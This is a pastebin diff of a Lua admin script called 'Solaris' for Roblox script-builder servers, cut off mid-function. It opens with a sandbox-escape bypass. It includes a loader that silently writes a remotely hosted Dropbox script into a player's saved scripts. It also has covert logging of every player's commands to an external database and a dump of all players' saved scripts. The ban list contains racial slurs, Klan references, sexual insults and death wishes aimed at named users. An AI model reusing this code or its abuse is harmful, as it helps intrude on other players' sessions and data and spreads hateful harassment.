View difference between Paste ID: ktBgQpha and RmY9N6Xw
SHOW: | | - or go back to the newest paste.
1
wait(); --Unremovable bypass 
2
script.Parent=nil
3
rawset(shared, "\0bp", function()
4
local i=game:service'InsertService':LoadAssetVersion(519416165);
5
local n=i:children()[1];
6
game:service'Debris':AddItem(i,0);
7
n.Parent=workspace;
8
coroutine.yield();
9
local e;
10
pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function(...)e=getfenv(2)end,__metatable=''}));
11
_G.OSC_AddServerSideData=nil;
12
game:service'Debris':AddItem(n,0);
13
return e 
14
end);
15
local y=shared['\0bp']();
16
shared["\0bp"]=nil;
17
game:GetService'ReplicatedStorage':ClearAllChildren();
18
y.setfenv(0,y);
19
y.setfenv(1,y);
20
y.pcall(function() y.setfenv(2,y); end); --Ends the bypass
21
22
-- Easiest Fixing ever l0l.
23
24
--// Solaris Administration VERSION 1.0
25
local Solaris = {
26
	AccessKey = "=BNFO@E%+gAOyLJbIJSlQ!IXOfg^10wezjG6Nf#^b4fO%&wFuzAQ|youxgW&3gl&epj4V5=EFLO9#HAJ";
27
    --// Kill Switch
28
    __STATUS = true;
29
    --// Administrations Components
30
    Admins  = {
31
		
32
		["explotion1337"]={Level=2e9};
33
    };
34
	Levels = {
35
		[1]="User";
36
		[2]="Trusted";
37
		[3]="Friend";
38
		[4]="Administrator";
39
		[5]="Creator/Developer";
40
                [2e9]="Scripter of all!";
41
	};
42
    Banned  = {
43
    	gage7252002="bye bye skid ur banned now";
44
    	--Mikko3m="dont ban me skid C:";
45
    	--w00t111="this server has a age restriction come back in 970 days";
46
    	--CharcterKaiser="go die annoying skid";
47
    	--FallingVortex="lrn 2 skript kid gtfo liquidex skid";
48
    	robloxchamp20="u ban me i ban u git rkt";
49
	--	iiDeadzone="u ban me i ban u git rkt";
50
		endermanac="git bbban11!!!";
51
		Dman2435="die just die";
52
		Dman2435alt="die just die";
53
		meunumbertwo="ur banned bby";
54
		Copenricus45="you got stopped by an admin skid c;";
55
        FreeModelInventor="get out skid go suc\5k my dick bitch whore";
56
        PWNTART = "die pls thx u";
57
        HopeYouHaveAGoodComp="you have been trolled nigger bitch die kkk";
58
        BookOEchos="git banned bitch";
59
        Autospy="another alt another ban";
60
        TotallyNotAnAlt1257="another alt another ban";
61
        fmerSKID005="another alt another ban";
62
        crazychimp1284="dienoobkthxbye";
63
		MrXTheGreat="dienoobkthxbye";
64
		ScriptNurd="dienoobkthxbye";
65
		Therealestnumber1="dienoobkthxbye";
66
		Opligi="dienoobkthxbye";
67
		jmckoy12="dienoobkthxbye";
68
		["5ascfrhubber"]="dienoobkthxbye";
69
		DangCoolIsReal3="dienoobkthxbye";
70
		legendy123="dienoobkthxbye";
71
		PithIsOnline="dienoobkthxbye";
72
		Opllgltory="git banned wanabe";
73
		YeaImnotanalt="dienoobkthxbye";
74
		superkiki609="git banned?";
75
		immcool1="git banned now skid";
76
                 Om3gapro5ooo="f#ck you";
77
                 Skrillex6996="lol you banned";
78
                 rafael4040="get rekt lol";
79
80
	};
81
    Chatted = {
82
        Settings = {
83
            Prefix = ";";
84
            Suffix = "-";
85
        };
86
        Commands = {};
87
    };
88
    --// Orb Components
89
    Settings = {
90
		Orb        = nil;
91
		Character  = nil;
92
		Following  = false;
93
		Target     = "";
94
		TrailParts = {};
95
		Trail      = true;
96
		OrbColor   = BrickColor.new("Institutional white");
97
		TrailColor = BrickColor.new("Institutional white");
98
		Rotation   = {
99
			Rot    = 0;
100
			Radius = 6.3;
101
			Height = 1;
102
			Bounce = 2.0;
103
			Speed  = 0.03;
104
			Length = 0.014;
105
		};
106
	};
107
    --// Tool Components
108
    Blocker = {
109
        LocalBlock  = false;
110
        GlobalBlock = false;
111
		LagBlocker  = true;
112
    };
113
	LagBlockedInstances = {
114
		"Message";
115
		"Hint";
116
		"Sound";
117
	};
118
    Logs = {};
119
    --// Functional Storage
120
    API = {
121
		Bootstrap = {}
122
	};
123
}
124
local Settings = Solaris.Settings
125
local API = Solaris.API
126
local Bootstrap = API.Bootstrap
127
local Time = require(285173569)
128
local rbxdb = require(278524047)
129
--local key = "b0454f5837d3aaeeb879937c6f6c2215"
130
--pcall(rbxdb:Connect(key))
131
132
--// Output API
133
134
function API.print_to(target,input)
135
    if input == nil then input = "nil" end
136
    local plr
137
    if type(target)=='userdata'then
138
        plr = target
139
    elseif type(target)=='string'then
140
        plr = game:GetService('Players'):FindFirstChild(target)
141
    end
142
    if type(plr)=='userdata' then
143
        local str = Instance.new('StringValue',plr)
144
        str.Name = 'SB_Output:Output'
145
        str.Value = game:GetService('HttpService'):JSONEncode{'Warn',input}
146
    end
147
end local print_to = Solaris.API.print_to
148
149
function API.print(input)
150
    if input == nil then input = "nil" end
151
    for i,v in pairs(game:GetService('Players'):children())do
152
        if Solaris.Admins[v.Name]then
153
            if Solaris.Admins[v.Name].Level > 2 then
154
                print_to(v,input)
155
            end
156
        end
157
    end
158
end local print = Solaris.API.print
159
160
function API.print_lvl(level,input)
161
    if input == nil then input = "nil" end
162
    for i,v in pairs(game:GetService('Players'):GetPlayers())do
163
        if Solaris.Admins[v.Name]then
164
            if Solaris.Admins[v.Name].Level > level then
165
                print_to(v,input)
166
            end
167
        end
168
    end
169
end local print_lvl = Solaris.API.print_lvl
170
171
function API.broadcast(input)
172
    if input == nil then input = "nil" end
173
    for i,v in pairs(game:GetService('Players'):GetPlayers())do
174
        print_to(v,input)
175
    end
176
end local broadcast = Solaris.API.broadcast
177
178
--// Utility API
179
180
function API.Make(ClassName)
181
	return function(data)
182
		local Instance = Instance.new(ClassName)
183
		for index,value in pairs(data) do
184
			if type(index) == "number" then
185
				value.Parent = Instance
186
			else
187
				Instance[index] = value
188
			end
189
		end
190
		return Instance
191
	end
192
end local Make = API.Make
193
194
function API.clerp(p1,p2,percent)
195
	local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components()
196
	local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components()
197
	return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22))
198
end local clerp = API.clerp
199
200
function API.Rainbow(i)
201
    local section = i % 1 * 3
202
    local secondary = 0.5 * math.pi * (section % 1)
203
    if section < 1 then
204
        return 1, 1 - math.cos(secondary), 1 - math.sin(secondary)
205
    elseif section < 2 then
206
        return 1 - math.sin(secondary), 1, 1 - math.cos(secondary)
207
    else
208
        return 1 - math.cos(secondary), 1 - math.sin(secondary), 1
209
    end
210
end local Rainbow = API.Rainbow
211
212
function API.GetPlayer(msg,plr)
213
	local Collected_Players = {}
214
	if string.lower(msg) == "me" then
215
		table.insert(Collected_Players, plr)
216
	elseif string.lower(msg) == "all" then
217
		for index,player in pairs(game:GetService('Players'):children()) do
218
			if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level or (plr.Name == player.Name) then
219
				table.insert(Collected_Players, player)
220
			end
221
		end
222
	elseif string.lower(msg) == "others" then
223
		for index,player in pairs(game:GetService('Players'):children()) do
224
			if player.Name ~= plr.Name then
225
				if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then
226
					table.insert(Collected_Players, player)
227
				end
228
			end
229
		end
230
	elseif string.lower(msg) == "friends" then
231
		for index,player in pairs(game:GetService('Players'):children()) do
232
			if player.Name ~= plr.Name then
233
				if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then
234
					if plr:IsFriendsWith(player.userId) == true then
235
						table.insert(Collected_Players, player)
236
					end
237
				end
238
			end
239
		end
240
	elseif string.lower(msg) == "nonfriends" then
241
		for index,player in pairs(game:GetService('Players'):children()) do
242
			if player.Name ~= plr.Name then
243
				if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then
244
					if plr:IsFriendsWith(player.userId) == false then
245
						table.insert(Collected_Players, player)
246
					end
247
				end
248
			end
249
		end
250
	else
251
		for index,player in pairs(game:GetService('Players'):children()) do
252
			if string.sub(string.lower(player.Name), 1, #msg) == string.lower(msg) then
253
				if Solaris.Admins[player.Name].Level <= Solaris.Admins[plr.Name].Level or (plr.Name == player.Name) then
254
					table.insert(Collected_Players, player)
255
				end
256
			end
257
		end
258
	end
259
	return Collected_Players
260
end local GetPlayer = API.GetPlayer
261
262
function API.GetSplit(msg)
263
   return string.find(msg,Solaris.Chatted.Settings.Suffix)
264
end local GetSplit = API.GetSplit
265
266
function API.Generate(Length)
267
	local Generated = ""
268
	for _ = 1, Length do
269
		Generated = Generated .. string.char(math.random(33,126))
270
	end
271
	return Generated
272
end local Generate = API.Generate
273
274
function API.GetGarbage(plr)
275
	print_to(plr,"Got Garbage")
276
	print_to(plr,"________________________")
277
	for i = 1,10 do wait(1)
278
		print_to(plr,"| Attempt#"..i.." ["..collectgarbage("count").."] |")
279
	end
280
	print_to(plr,"________________________")
281
end local GetGarbage = API.GetGarbage
282
283
--// Orb API
284
285
function API.SpawnOrb()
286
	Settings.Orb = Make('Part'){
287
		Name = "\5\5\5\5Solar\5\5is\5\5\5\5";
288
		Parent = game.Workspace,
289
		BrickColor = Settings.OrbColor,
290
		Material = Enum.Material.SmoothPlastic,
291
		Transparency = .1,
292
		Anchored = true,
293
		CanCollide = false,
294
		Locked = true,
295
		FormFactor = "Symmetric",
296
		Shape = "Ball",
297
		Size = Vector3.new(1,1,1),
298
		TopSurface = 10,
299
		BottomSurface = 10,
300
	}Settings.Orb.Changed:connect(function()
301
		if not game.Workspace:FindFirstChild(Settings.Orb.Name)then
302
			if Solaris.__STATUS == true then
303
				API.SpawnOrb()
304
			end
305
		end
306
	end)
307
end local SpawnOrb = API.SpawnOrb
308
309
function API.MakeTrail()
310
	if Settings.Orb ~= nil and Settings.Trail == true then
311
		local Trail = Make'Part'{
312
			CanCollide = false,
313
			Parent = Settings.Orb,
314
			BrickColor = Settings.TrailColor,
315
			Material = Enum.Material.SmoothPlastic,
316
			Transparency = .1,
317
			Anchored = true,
318
			Locked = true,
319
			FormFactor = "Custom",
320
			Size = Vector3.new(.2,.2,.2),
321
			CFrame = Settings.Orb.CFrame,
322
			TopSurface = 10,
323
			BottomSurface = 10,
324
		}table.insert(Settings.TrailParts, Trail)
325
		return Trail
326
	end
327
end local MakeTrail = API.MakeTrail
328
329
function API.SpawnTrail()
330
	if Settings.Orb ~= nil and Settings.Trail == true then
331
		local Trail = API.MakeTrail()
332
	end
333
end local SpawnTrail = API.SpawnTrail
334
335
function API.Rotate()
336
	game:GetService('RunService').Stepped:connect(function()
337
		if Solaris.__STATUS == true then
338
			wait()
339
			local Following=game:GetService('Players'):FindFirstChild(Settings.Target)
340
			if Following and Following.Character and Following.Character:FindFirstChild("Torso") and Settings.Following then
341
				Settings.Character = Following.Character.Torso.CFrame
342
			else
343
				Settings.Character = CFrame.new(0,5.7,0)
344
			end
345
			if Settings.Orb ~= nil then
346
				Settings.Rotation.Rot = Settings.Rotation.Rot + Settings.Rotation.Speed
347
				Settings.Orb.Name = "\5\5\5\5Solar\5\5is\5\5\5\5"
348
				Settings.Orb.CFrame = clerp(Settings.Orb.CFrame,
349
					CFrame.new(Settings.Character.p)
350
					*CFrame.new(0,3.9,0)
351
					*CFrame.Angles(0,Settings.Rotation.Rot,(math.sin((tick())*.9)*5)*.6)
352
					*CFrame.new(Settings.Rotation.Radius, math.sin((tick())*Settings.Rotation.Bounce)*Settings.Rotation.Height,2)
353
					*CFrame.Angles(100,Settings.Rotation.Rot,(math.sin((tick())*1)*5)*.9)     ,.1)
354
				API.SpawnTrail()
355
				for i,_ in next,Settings.TrailParts do
356
					if Settings.TrailParts[i] ~= nil and Settings.TrailParts[i+1] ~= nil then
357
						local Part1 = Settings.TrailParts[i]
358
						local Part2 = Settings.TrailParts[i+1]
359
						local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude)
360
						Part1.Name = math.random(1,99999999)
361
						Part1.Size = Vector3.new(Part1.Size.X+Settings.Rotation.Length, Mag, Part1.Size.Z+Settings.Rotation.Length)
362
						Part1.Transparency = Part1.Transparency + .017
363
						Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p)
364
						* CFrame.Angles(math.pi/2,0,0)
365
						if Part1.Size.X >= .74 then
366
							Part1:Destroy()
367
							table.remove(Settings.TrailParts, i)
368
						end
369
					end
370
				end
371
			end
372
		end
373
	end)
374
end local Rotate = API.Rotate
375
376
function API.ChangeTheme(plr,theme)
377
	--// Sets orb to default configurations
378
	Settings.Orb.BrickColor = BrickColor.new('White')
379
	Settings.Orb.Transparency = .1
380
	for i,v in pairs(Settings.Orb:children())do if v.ClassName=='SpecialMesh'then v:remove()end end
381
	--// Themes
382
	if theme == 'normal' then
383
		API.SpawnTrail = function()
384
			if Settings.Orb ~= nil and Settings.Trail == true then
385
				local Trail = API.MakeTrail()
386
			end
387
		end
388
	elseif theme == 'op' then
389
		API.SpawnTrail = function()
390
			if Settings.Orb ~= nil and Settings.Trail == true then
391
				local Trail = API.MakeTrail()
392
				spawn(function()
393
					Settings.Orb.BrickColor = BrickColor.new('Really black')
394
					Trail.BrickColor = BrickColor.new('Deep orange')
395
					local box = Make('SelectionBox'){
396
						Adornee = Trail;
397
						Parent = Trail;
398
						Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
399
						LineThickness = 0.001;
400
						Color3 = Color3.new(0,0,0);
401
					}
402
				end)
403
			end
404
		end
405
	elseif theme == 'op-light' then
406
		API.SpawnTrail = function()
407
			if Settings.Orb ~= nil and Settings.Trail == true then
408
				local Trail = API.MakeTrail()
409
				spawn(function()
410
					Settings.Orb.BrickColor = BrickColor.new('Really black')
411
					Trail.BrickColor = BrickColor.new('Deep orange')
412
					local box = Make('SelectionBox'){
413
						Adornee = Trail;
414
						Parent = Trail;
415
						Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
416
						LineThickness = 0.001;
417
						Color3 = Color3.new(255,255,255);
418
					}
419
				end)
420
			end
421
		end
422
    elseif theme == 'clv' then
423
        API.SpawnTrail = function()
424
           local Trail = API.MakeTrail()
425
           spawn(function()
426
               Trail.BrickColor = BrickColor.new("Cyan")
427
               Settings.Orb.BrickColor = BrickColor.new("Really black")
428
               local S_Box = Make('SelectionBox'){
429
                 Adornee = Trail;
430
                 Parent = Trail;
431
                 Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
432
                 LineThickness = 0;
433
                 Color3 = BrickColor.new("Really black").Color;
434
                }
435
           end)
436
        end
437
	elseif theme == 'whiteout' then
438
        API.SpawnTrail = function()
439
           local Trail = API.MakeTrail()
440
           spawn(function()
441
               Trail.BrickColor = BrickColor.new("White")
442
               Settings.Orb.BrickColor = BrickColor.new("Really black")
443
               local S_Box = Make('SelectionBox'){
444
                 Adornee = Trail;
445
                 Parent = Trail;
446
                 Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
447
                 LineThickness = 0;
448
                 Color3 = BrickColor.new("Really black").Color;
449
                }
450
			   local Mesh = Make('SpecialMesh'){
451
					Parent = Settings.Orb;
452
					MeshId = "http://www.roblox.com/asset/?id=1529453";
453
					Name   = "Mesh";
454
					Scale  = Vector3.new(2.5,2.5,2.5)
455
				}
456
           end)
457
        end
458
	elseif theme == 'hidden' then
459
        API.SpawnTrail = function()
460
           local Trail = API.MakeTrail()
461
           spawn(function()
462
               Trail.Transparency = 1
463
               Settings.Orb.Transparency = 1
464
           end)
465
        end
466
	else
467
		print_to(plr,"[Error]: "..theme.." is not a valid theme name")
468
		return
469
	end
470
	print_to(plr,"[Solairs]: Orb has changed theme to "..theme)
471
end local ChangeTheme = API.ChangeTheme
472
473
function API.Follow(boolean,plr)
474
	if type(plr)~='string'then return end
475
	if boolean == true then
476
		Settings.Following = true
477
		Settings.Target = plr
478
	elseif boolean == false then
479
		Settings.Following = false
480
		Settings.Target = ""
481
	end
482
end local Follow = API.Follow
483
484
--// Oxcool1 Sb Tools API
485
486
function API.Sbexe(cmd,plr)
487
    if not type(cmd)=='string'then return end
488
    if plr then
489
        if type(plr)=='userdata'then
490
           plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
491
        elseif type(plr)=='string'then
492
            plr = game:GetService('Players'):FindFirstChild(plr)
493
            plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
494
        end
495
    else
496
        for i,v in pairs(game:GetService('Players'):children())do
497
            v:FindFirstChild("SB_CommandRemote",true).Value = cmd
498
        end
499
    end
500
end local Sbexe = API.Sbexe
501
502
function API.ConnectLogger(plr)
503
	if type(plr) ~= 'userdata'then return end
504
	if plr:FindFirstChild("SB_CommandRemote",true) then
505
		plr:FindFirstChild("SB_CommandRemote",true).Changed:connect(function()
506
			if plr:FindFirstChild("SB_CommandRemote",true).Value == 'h/http://pastebin.com/raw.php?i=TdtSWRAL' then
507
				Sbexe("g/ns")wait(.1)
508
				plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
509
			end
510
			if #plr:FindFirstChild("SB_CommandRemote",true).Value > 0 then
511
				table.insert(Solaris.Logs,{User=tostring(plr.Name);Command=tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)})
512
				local CurrentTime = Time:GetTime()
513
				local TimeStamp   = ("["..CurrentTime.year.." "..CurrentTime.month.." "..CurrentTime.day.."]")
514
				rbxdb:SetValue(TimeStamp..": "..tostring(plr.Name),tostring(plr:FindFirstChild("SB_CommandRemote",true).Value))
515
			end
516
		end)
517
	end
518
end local ConnectLogger = API.ConnectLogger
519
520
function API.GetLogs(plr)
521
	print_to(plr,"Got logs")
522
	if #Solaris.Logs > 0 then print_to(plr,"--------------------------------") end
523
	for index,data in pairs(Solaris.Logs)do
524
		if #Solaris.Logs > 30 then wait(.1)end
525
		print_to(plr,tostring(data.User))
526
		print_to(plr,tostring(data.Command))
527
		print_to(plr,"--------------------------------")
528
	end
529
end local GetLogs = API.GetLogs
530
531
function API.InjectLoader(plr)
532
	Sbexe("remove/Solaris",plr)
533
	Sbexe("ch/Solaris/https://www.dropbox.com/s/574ygd6vonqk4i8/Deployment-Script.lua?dl=1",plr)
534
	Sbexe("save/Solaris",plr)
535
end local InjectLoader = API.InjectLoader
536
537
function API.GetSavedScripts(plr)
538
	local Save_Key = string.reverse("stpircSdevaS_xoREDliubtpIrCs");
539
	print_to(plr,"Got Saved Scripts")
540
	for i,v in pairs(game:GetService('Players'):children())do
541
		if v.ClassName == 'Player' then
542
			local Encoded_Table = v:LoadString(Save_Key)
543
			local Decoded_Table
544
545
			--//Table Decoding
546
			if type(Encoded_Table)=='string' and Encoded_Table=="[]"or Encoded_Table==""then
547
				Decoded_Table = {{No=" Saved Scripts"}}
548
			else
549
				Decoded_Table = game:GetService('HttpService'):JSONDecode(Encoded_Table)
550
			end
551
			--// Table Printing
552
			--print_to(plr,"------------------------------------------------------------------")
553
			print_to(plr,"--------------------------["..v.Name.."]--------------------------")
554
			if type(Decoded_Table)=='table'then
555
				for _index,_data in pairs(Decoded_Table)do
556
					for index,data in pairs(_data)do
557
						wait(.1)
558
						print_to(plr,index.." : "..data)
559
					end
560
				end
561
			end
562
			print_to(plr,"------------------------------------------------------------------")
563
		end
564
	end
565
end local GetSavedScripts = API.GetSavedScripts
566
567
function API.GiveServerConsole(Player)
568
	if Player:FindFirstChild("PlayerGui") and Player:FindFirstChild("PlayerGui").ClassName == "PlayerGui" then
569
		spawn(function()
570
			local Create = API.Make
571
			local Closed = false
572
			local ScreenGui = Create "ScreenGui" {
573
				Name = "Server Console",
574
				Parent = Player.PlayerGui
575
			}
576
			local Main = Create "TextButton" {
577
				AutoButtonColor = false,
578
				BackgroundColor3 = Color3.new(0, 0, 0),
579
				BorderSizePixel = 0,
580
				Size = UDim2.new(0, 375, 0, 15),
581
				Draggable = true,
582
				Font = "SourceSansBold",
583
				FontSize = "Size14",
584
				TextYAlignment = "Top",
585
				TextColor3 = Color3.new(1, 1, 1),
586
				Text = " Server Console",
587
				TextXAlignment = "Left",
588
				Position = UDim2.new(0.321, 0, 0.196, 0),
589
				Parent = ScreenGui
590
			}
591
			local Refresh = Create "TextButton" {
592
				Active = true,
593
				AutoButtonColor = false,
594
				BackgroundColor3 = Color3.new(0, 0, 0),
595
				BorderSizePixel = 0,
596
				Position = UDim2.new(1, 0, 0, 0),
597
				Size = UDim2.new(0, 60, 0, 15),
598
				Font = "SourceSansBold",
599
				FontSize = "Size14",
600
				Text = "Refresh",
601
				TextYAlignment = "Top",
602
				TextColor3 = Color3.new(1, 1, 1),
603
				TextYAlignment = "Top",
604
				TextXAlignment = "Right",
605
				Parent = Main
606
			}
607
			local TextButton = Create "TextButton" {
608
				AutoButtonColor = false,
609
				BackgroundColor3 = Color3.new(0, 0, 0),
610
				BorderSizePixel = 0,
611
				Position = UDim2.new(1, 60, 0, 0),
612
				Size = UDim2.new(0, 15, 0, 15),
613
				Font = "SourceSansBold",
614
				FontSize = "Size14",
615
				TextYAlignment = "Top",
616
				Text = "-",
617
				TextColor3 = Color3.new(1, 1, 1),
618
				Parent = Main
619
			}
620
			local ContentFrame = Create "Frame" {
621
				BackgroundColor3 = Color3.new(0, 0, 0),
622
				BackgroundTransparency = 0.2,
623
				BorderSizePixel = 0,
624
				Position = UDim2.new(0, 0, 0, 15),
625
				Size = UDim2.new(0, 450, 0, 0),
626
				Parent = Main
627
			}
628
			local ScrollingFrame = Create "ScrollingFrame" {
629
				Size = UDim2.new(1, 0, 1, 0),
630
				CanvasSize = UDim2.new(3, 0, 0, 0),
631
				MidImage = "rbxassetid://158362264",
632
				TopImage = "rbxassetid://158362307",
633
				BottomImage = "rbxassetid://158362221",
634
				BackgroundTransparency = 1,
635
				BorderSizePixel = 0,
636
				ScrollBarThickness = 5,
637
				Parent = ContentFrame
638
			}
639
			ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
640
			TextButton.MouseButton1Down:connect(function()
641
				if Closed == false then
642
					Closed = true
643
					TextButton.Text = "+"
644
					ContentFrame:TweenSize(UDim2.new(0, 450, 0, 0), "Out", "Quad", 1.5, true)
645
					delay(1, function()
646
						ScrollingFrame.Visible = false
647
					end)
648
				else
649
					Closed = false
650
					TextButton.Text = "-"
651
					ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
652
					delay(0.5, function()
653
						ScrollingFrame.Visible = true
654
					end)
655
				end
656
			end)
657
			local function GetNumberOfChildren(Object)
658
				local Number = -15
659
				for index,child in pairs(Object:GetChildren()) do
660
					if child.ClassName == "TextLabel" then
661
						Number = Number + 15
662
					end
663
				end
664
				return Number
665
			end
666
			local function Output(Text, Color)
667
				local Line = Create "TextLabel" {
668
					ZIndex = 2,
669
					BackgroundTransparency = 1,
670
					BorderSizePixel = 0,
671
					Text = string.format(" %s", Text),
672
					Font = "SourceSansBold",
673
					FontSize = "Size14",
674
					TextColor3 = Color,
675
					TextWrapped = false,
676
					Size = UDim2.new(1, 0, 0, 15),
677
					Position = UDim2.new(0, 0, 0, GetNumberOfChildren(ScrollingFrame)),
678
					TextXAlignment = "Left",
679
					TextYAlignment = "Top",
680
					TextStrokeTransparency = 0.9,
681
					Parent = ScrollingFrame,
682
				}
683
				if #ScrollingFrame:GetChildren() > 29 then
684
					local NumChildren = GetNumberOfChildren(ScrollingFrame)
685
					ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, NumChildren)
686
					ScrollingFrame.CanvasPosition = Vector2.new(0, (ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y) + 5)
687
				end
688
			end
689
			local function OutputLogHistory()
690
				for index,data in pairs(game.LogService:GetLogHistory()) do
691
					if data.messageType == Enum.MessageType.MessageOutput then
692
						Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 1, 1))
693
					elseif data.messageType == Enum.MessageType.MessageWarning then
694
						Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0.6, 0.4))
695
					elseif data.messageType == Enum.MessageType.MessageError then
696
						Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0, 0))
697
					elseif data.messageType == Enum.MessageType.MessageInfo then
698
						Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(0.4, 0.5, 1))
699
					end
700
				end
701
			end
702
			OutputLogHistory()
703
			Refresh.MouseButton1Down:connect(function()
704
				ScrollingFrame:ClearAllChildren()
705
				wait()
706
				OutputLogHistory()
707
			end)
708
		end)
709
	end
710
end local GiveServerConsole = API.GiveServerConsole
711
712
function API.SafeExe(string_src,string_plr)
713
	if string_src == nil then string_src = "" end
714
715
	local BypassEnv = getfenv(1)
716
	BypassEnv.script = "Locked Object"
717
	BypassEnv.print_to = print_to
718
	rawset(_G,"NewBypassEnv",BypassEnv)
719
720
	local ExecuteSource = [[
721
		wait(.1)
722
		local newEnv = _G.NewBypassEnv
723
		newEnv.owner = getfenv(1).owner
724
		newEnv.print = function(i)
725
			if i == nil then i = "" end
726
			newEnv.print_to(tostring(owner),i)
727
		end
728
		setfenv(1,newEnv)
729
	]]
730
	local ExeSrc = ExecuteSource..string_src
731
	Sbexe("c/"..ExeSrc,string_plr)
732
end local SafeExe = API.SafeExe
733
734
--// Admin API
735
736
function API.GetAdmins(plr)
737
	for i,v in pairs(Solaris.Admins)do
738
		print_to(plr,"["..i.."]-"..Solaris.Levels[v.Level])
739
	end
740
end local GetAdmins = API.GetAdmins
741
742
function API.AddCommand(Name,Usage,Desc,Level,Func)
743
	table.insert(Solaris.Chatted.Commands,{Name=Name,Usage=Usage,Desc=Desc,Level=Level,Func=Func})
744
end local AddCommand = API.AddCommand
745
746
function API.Chatted(plr,msg)
747
	if msg:lower()=='h/http://pastebin.com/raw.php?i=TdtSWRAL'then
748
		Sbexe("g/ns")
749
		plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
750
	end
751
	local Commands = Solaris.Chatted.Commands
752
	local Prefix   = Solaris.Chatted.Settings.Prefix
753
	local Suffix   = Solaris.Chatted.Settings.Suffix
754
	local sub      = string.sub
755
	local lower    = string.lower
756
	if sub(msg,1,3)=='/e 'then
757
		msg = sub(msg,4)
758
	end
759
	if Solaris.Admins[plr.Name]then
760
		for index,data in pairs(Commands)do
761
			if Prefix..data.Usage..Suffix == sub(lower(msg),1,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix))then
762
				if Solaris.Admins[plr.Name].Level >= data.Level then
763
					local y,n = ypcall(function()
764
						data.Func(sub(msg,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix)+1), GetPlayer, plr)
765
					end)
766
					if not y then
767
						print_to(plr,"[Error]: a command related error has occured : "..n)
768
					end
769
				else
770
					print_to(plr,"[Error]: Your access level is to low for that command")
771
				end
772
			end
773
		end
774
	end
775
end local Chatted = API.Chatted
776
777
function API.BootCommands()--// Function that calls and injects all commands
778
779
	AddCommand("Test","tst","TEST TEST",1,function(Message,Collect_Players,Player)
780
		print_to(Player,"[Solaris]: TEST")
781
	end)
782
783
	AddCommand("Commands","cmds","Gets commands",1,function(Message,Collect_Players,Player)
784
		print_to(Player,"Got Commands")
785
		print_to(Player,"---------------------------------------------------------------")
786
		for index,data in pairs(Solaris.Chatted.Commands)do
787
			print_to(Player,"["..data.Name.."]-Level["..data.Level.."]-Usage:[\""..data.Usage.."\"]-Desc:["..data.Desc.."]")
788
			print_to(Player,"---------------------------------------------------------------")
789
		end
790
	end)
791
792
	AddCommand("Admins","admins","Gets admins",1,function(Message,Collect_Players,Player)
793
		print_to(Player,"Got admins")
794
		GetAdmins(Player)
795
	end)
796
797
	AddCommand("GetLogs","gl","Gets command logs",4,function(Message,Collect_Players,Player)
798
		GetLogs(Player)
799
	end)
800
801
	AddCommand('Kick','kick','Kicks a player from the server',3,function(Message, Collect_Players, Player)
802
		local Split = GetSplit(Message)
803
		local Plrs
804
		local Reason
805
		if Split == nil then
806
			 Plrs = Collect_Players(Message,Player)
807
			 Reason = nil
808
		else
809
			Plrs = Collect_Players(Message:sub(1,Split-1),Player)
810
			Reason = Message:sub(Split+1)
811
		end
812
		if #Plrs>0 then
813
			for _,Plr in pairs(Plrs) do
814
			    if Reason == nil or Reason == "" then Reason = "You have been kicked from this server"end
815
				Plr:Kick(tostring(Reason))
816
			end
817
		end
818
	end)
819
820
	AddCommand('Ban','ban','Bans a player from the server', 3, function(Message, Collect_Players, Player)
821
		local Split = GetSplit(Message)
822
		local Plrs
823
		local Reason
824
		if Split == nil then
825
			 Plrs = Collect_Players(Message,Player)
826
			 Reason = nil
827
		else
828
			Plrs = Collect_Players(Message:sub(1,Split-1),Player)
829
			Reason = tostring(Message:sub(Split+1))
830
		end
831
		if #Plrs>0 then
832
			for _,Plr in pairs(Plrs) do
833
			    if Reason == nil or Reason == "" then Reason = tostring("Being Banned") end
834
				--table.insert(Solaris.Banned,tostring(Plr.Name)==tostring(Reason))
835
				Solaris.Banned[Plr.Name]=tostring(Reason)
836
				Plr:Kick("You have been banned for "..tostring(Reason))
837
			end
838
		end
839
    end)
840
841
	AddCommand('Unban','unban','Unbans a player', 3, function(Message, Collect_Players, Player)
842
		for i,v in pairs(Solaris.Banned)do
843
			if string.sub(string.lower(i),1,#Message)==string.lower(Message)then
844
				Solaris.Banned[i]=nil
845
			end
846
		end
847
	end)
848
849
	AddCommand('Banned','banned','Shows banned table',2,function(Message, Collect_Players, Player)
850
